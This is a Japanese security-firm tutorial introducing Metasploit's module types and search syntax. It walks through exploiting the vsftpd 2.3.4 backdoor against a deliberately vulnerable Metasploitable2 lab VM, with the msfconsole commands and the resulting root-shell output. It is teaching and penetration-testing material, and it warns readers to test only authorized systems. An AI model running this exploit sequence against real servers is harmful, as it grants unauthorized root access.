2020.10.23   セキュリティ脅威

「 Metasploit 」 – 概要と検証

はじめに

以前Kalilinuxを構築したので実際にインストールされているMetasploit Frameworkについてご紹介します。

※注意事項
本記事に掲載した行為を自身の管理下にないネットワーク/コンピューターに行った場合は、攻撃行為と判断される場合があり、最悪の場合、法的措置を取られる可能性もあります。このような調査を行う場合は、くれぐれも許可を取った上で、自身の管理下にあるネットワークやサーバーに対してのみ行ってください。

Metasploit Frameworkとは

metasploit1

Metasploit Framework(以降 Metasploit)は、攻撃者の行動をシミュレートし侵入テスト(ペネトレーションテスト)を行うソフトウエアです。世界で最も普及しているペネトレーションフレームワークであり、経験豊富なセキュリティ専門家から初心者まで誰でもペネトレーションテストを自動化し、攻撃者がネットワークやその他の運用インフラストラクチャの重要な側面に対して取りうる行動を再現することでセキュリティ対策の検証を助けてくれるツールです。MetasploitにはさまざまなOS向けのエディションが存在し、中でも、Linux系OS(セキュリティ診断用ツールが多数インストールされているOSの一種、「Kali Linux」には標準でインストールされている)で利用されることが多いです。

モジュールのタイプ

Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します

モジュールタイプ 概要
auxiliary ポートスキャンやバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール
exploit 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード
payload リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること
post exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム
encoder 暗号化を実行するためのプログラム
nop NOP ジェネレータ。NOP は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。NOP 命令は実行可能ファイルの空白を埋めるのに有用です

exploit の検索

対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、ポートスキャンを実行します。ポートスキャンの情報を使って、search コマンドで利用可能な exploit を検索することができます。

例えば、Novell の Linux プラットフォームの exploit を全て検索するには

msf > search platform:linux type:exploit name:Novell

特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます

検索フィールド 説明 入力可能な値 DBテーブル&カラム
app Passive (client) あるいは Active (server) な exploit client, server module_details.stance
auther
モジュールの作者の名前とメールアドレス

何でも入力可能
module_authors.name
type モジュールのタイプ auxiliary, exploit, payload, post, encoder, nop module_details.mtype
name パス (Name) と短い説明 何でも入力可能 module_details.fullname, module_details.name
platform 対象ハードウェアあるいはソフトウェアプラットフォーム bsdi, netware, linux, hpux, irix, osx, bsd, platform, java, javascript, unix, php, firefox, nodejs, ruby, cisco, android, aix, windows, python, solaris module_platforms.name
bid,cve,edb,osvdb,re Bugtraq, CVE, Exploit-DB, OSBDB ID など Exploit データベースのエントリ ID あるいは上流のレポート URL の一部 module_refs.name
(No field) 上記の app と type を除く全て 何でも入力可能 上記の全て

Matasploitで脆弱性を突いてみる

仮想環境上でMatasploitを使用します。VirtualBox上に、攻撃する側(KaliLinux)と攻撃される側(Metasploitable2)を用意しました。
Mataspoitable2はMetasploitによるペネトレーションの練習やテストに使用する為の、わざと脆弱性を持たせた仮想マシンとなっています。

VSFTPD v2.3.4の脆弱性を攻撃する
Linuxディストリビューションで採用されているFTPサーバーのソフトウェア「vsftpd v2.3.4」に、バックドアと呼ばれる攻撃者の侵入を可能にしてしまうコードが含まれているという脆弱性が発見されています。現在この脆弱性は修正されていますが今回はこの脆弱性を突く攻撃を行います。

metasploit12

構成

1.Metasploitの起動
KaliLinuxでTerminalを開きMetasploitを起動します。

$msfconsole
                         略

       =[ metasploit v5.0.99-dev                          ]
+ -- --=[ 2045 exploits - 1106 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: You can use help to view all available commands 

2.searchの実施
searchコマンドはMetasploitデータベース内を検索するコマンドです。
vsftpd関連で検索します。

Matching Modules
================
msf5 > search vsftpd

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

3.「vsftpd_234_backdoor」の使用
検索したところ「vsftpd_234_backdoor」が出てきたので「use」コマンドで使用します。

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > 

4.必要な情報を確認
「show options」で必要な情報を確認します。ここで必要な情報は「RHOSTS」と「RPORT」になります。
RPORTは21なので後はRHOSTSがあれば攻撃が可能です。

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

5.RHOSTSの設定
攻撃対象のサーバ「Metasploitable2」のIPは「192.168.56.102」なので、このIPをセットし、
再度設定できたか確認します。

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.56.102
rhost => 192.168.56.102

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.56.102   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

RHOSTSに攻撃先のIPが設定できたことが確認できます。

7.「vsftpd_234_backdoor」の起動
「vsftpd_234_backdoor」の起動します。

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.56.102:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.56.102:6200) at 2020-10-22 02:01:51 -0400

8.攻撃後の操作
攻撃が成功したことで。「攻撃先のPC」をリモートで操作することが可能になりました。

id
uid=0(root) gid=0(root)


pwd
/

ls -ltr
total 81
drwx------   2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x   4 root root  4096 Mar 16  2010 media
drwxr-xr-x   2 root root  4096 Mar 16  2010 srv
drwxr-xr-x   2 root root  4096 Mar 16  2010 opt
drwxr-xr-x   2 root root  4096 Mar 16  2010 initrd
drwxr-xr-x  14 root root  4096 Mar 17  2010 var
drwxr-xr-x   6 root root  4096 Apr 16  2010 home
drwxr-xr-x  12 root root  4096 Apr 28  2010 usr
drwxr-xr-x   3 root root  4096 Apr 28  2010 mnt
lrwxrwxrwx   1 root root    29 Apr 28  2010 vmlinuz -> boot/vmlinuz-2.6.24-16-server
lrwxrwxrwx   1 root root    32 Apr 28  2010 initrd.img -> boot/initrd.img-2.6.24-16-server
lrwxrwxrwx   1 root root    11 Apr 28  2010 cdrom -> media/cdrom
drwxr-xr-x   2 root root  4096 May 13  2012 sbin
drwxr-xr-x  13 root root  4096 May 13  2012 lib
drwxr-xr-x   2 root root  4096 May 13  2012 bin
drwxr-xr-x   4 root root  1024 May 13  2012 boot
dr-xr-xr-x 109 root root     0 Oct 21 21:46 proc
drwxr-xr-x  12 root root     0 Oct 21 21:46 sys
drwxr-xr-x  14 root root 13540 Oct 21 21:46 dev
drwxr-xr-x  94 root root  4096 Oct 21 21:46 etc
drwxr-xr-x  13 root root  4096 Oct 21 21:46 root
-rw-------   1 root root  7263 Oct 21 21:46 nohup.out
drwxrwxrwt   4 root root  4096 Oct 21 21:46 tmp

vsftpdの脆弱性を突いたことで、攻撃対象のPCの乗っ取りに成功しました。

おわりに

vsftpdに脆弱性があることで攻撃対象のPCを乗っ取ることが出来ました。Metasploitのモジュールは無数にあり、さまざまな脆弱性に対応しています。悪意のある者の攻撃から身を守るためには脆弱性をより少なくする必要があることが今回の攻撃で分かります。攻撃を受ける確率を少しでも減らすために、定期的な脆弱性診断を実施することをお勧めします。

参考文献

Metasploitのインストール方法と設定方法
ちょこっとホワイトハッカーになった気持ちになって、VirtualBox上にKali Linuxをインストールし、Metasploitを使ったペネトレーションテスト(脆弱性診断)をやってみた
ペネトレーションツール Metasploitは数個のコマンドを覚えるだけ
Metasploit Framework

Written by CYBERFORTRESS, INC.

サイバーフォートレス CYBERTHREATS TODAY 編集チーム

サイバーフォートレスは、サイバーセキュリティ対策を提供するセキュリティ専門企業です。

セキュリティ対策や、最新のセキュリティ脅威、サイバー攻撃のトレンドなど、当社が研究開発や情報収集した内容をもとに、最新のセキュリティ脅威・セキュリティ対策についてお伝えします。

関連記事

よく読まれている記事